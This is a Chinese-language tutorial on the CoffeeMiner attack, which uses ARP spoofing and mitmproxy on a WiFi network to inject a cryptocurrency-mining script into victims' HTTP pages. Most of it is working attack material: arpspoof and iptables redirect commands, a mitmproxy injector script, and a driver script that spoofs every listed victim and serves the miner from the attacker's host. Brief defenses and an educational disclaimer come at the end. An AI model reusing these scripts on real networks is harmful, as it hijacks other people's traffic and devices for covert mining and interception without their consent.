CoffeeMiner:劫持WIFI向HTML请求中注入挖矿脚本
字数 1005 2025-08-25 22:59:03
CoffeeMiner:通过WiFi劫持注入挖矿脚本的教学文档
1. 攻击概述
CoffeeMiner是一种中间人攻击(MITM)技术,通过在WiFi网络中劫持HTTP流量,向HTML页面注入JavaScript挖矿脚本,使所有连接该WiFi的设备为攻击者进行加密货币挖矿。
1.1 攻击原理
- 使用ARP欺骗实现中间人攻击
- 通过mitmproxy拦截和修改HTTP流量
- 注入CoinHive挖矿脚本到HTML页面
- 通过本地HTTP服务器提供挖矿脚本
2. 实验环境搭建
2.1 所需工具
- VirtualBox虚拟机软件
- Kali Linux系统镜像
- Python 3环境
2.2 虚拟机配置
需要创建三个虚拟机角色:
受害者机器(Victim)
- 网络适配器:eth0使用Host-only模式
- IP配置:
auto eth0
iface eth0 inet static
address 10.0.2.10
netmask 255.255.255.0
gateway 10.0.2.15
攻击者机器(Attacker)
- 网络适配器:eth0使用Host-only模式
- IP配置:
auto eth0
iface eth0 inet static
address 10.0.2.20
netmask 255.255.255.0
gateway 10.0.2.15
路由器/网关(Router/Gateway)
- 网络适配器1(eth0):Bridged模式
- 网络适配器2(eth1):Host-only模式
- IP配置:
auto eth1
iface eth1 inet static
address 10.0.2.15
netmask 255.255.255.0
3. 攻击实施步骤
3.1 准备工作
在攻击者机器上安装必要工具:
apt-get install dsniff mitmproxy python3-pip
pip3 install beautifulsoup4
3.2 核心组件
3.2.1 ARP欺骗攻击
使用dsniff工具包中的arpspoof:
arpspoof -i eth0 -t 受害者IP 网关IP
arpspoof -i eth0 -t 网关IP 受害者IP
3.2.2 流量转发设置
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080
3.2.3 HTTP服务器(httpServer.py)
#!/usr/bin/env python
import http.server
import socketserver
import os
PORT = 8000
web_dir = os.path.join(os.path.dirname(__file__), 'miner_script')
os.chdir(web_dir)
Handler = http.server.SimpleHTTPRequestHandler
httpd = socketserver.TCPServer(("", PORT), Handler)
print("serving at port", PORT)
httpd.serve_forever()
3.2.4 注入脚本(injector.py)
from bs4 import BeautifulSoup
from mitmproxy import ctx, http
import argparse
class Injector:
def __init__(self, path):
self.path = path
def response(self, flow: http.HTTPFlow) -> None:
if self.path:
html = BeautifulSoup(flow.response.content, "html.parser")
if flow.response.headers["content-type"] == 'text/html':
script = html.new_tag("script", src=self.path, type='application/javascript')
html.body.insert(0, script)
flow.response.content = str(html).encode("utf8")
print("Script injected.")
def start():
parser = argparse.ArgumentParser()
parser.add_argument("path", type=str)
args = parser.parse_args()
return Injector(args.path)
3.2.5 主攻击脚本(coffeeMiner.py)
import os
import sys
# 获取网关IP(路由器)
gateway = sys.argv[1]
print("gateway: " + gateway)
# 获取受害者IP列表
victims = [line.rstrip('\n') for line in open("victims.txt")]
print("victims:")
print(victims)
# 配置路由(IPTABLES)
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
os.system("iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE")
os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080")
os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080")
# 对每个受害者执行ARP欺骗
for victim in victims:
os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &")
os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &")
# 启动HTTP服务器
os.system("xterm -hold -e 'python3 httpServer.py' &")
# 启动mitmproxy
os.system("~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T")
3.3 攻击执行流程
- 准备受害者IP列表文件
victims.txt - 在
miner_script目录下放置CoinHive挖矿脚本script.js - 运行主攻击脚本:
python3 coffeeMiner.py 网关IP
4. 攻击效果验证
当受害者通过浏览器访问任何HTTP网站时:
- 攻击者会拦截HTTP响应
- 在HTML的body开始处注入
<script>标签 - 浏览器会加载并执行挖矿脚本
- 挖矿结果会发送到攻击者控制的服务器
5. 防御措施
- 使用HTTPS加密通信
- 部署ARP监控工具检测ARP欺骗
- 使用VPN加密所有流量
- 定期检查网络设备上的异常流量
- 教育用户识别异常的网络行为
6. 法律与道德声明
本教学文档仅用于教育目的,帮助理解网络安全威胁。未经授权对他人网络实施此类攻击是违法行为。在实际网络环境中使用这些技术前,必须获得明确的书面授权。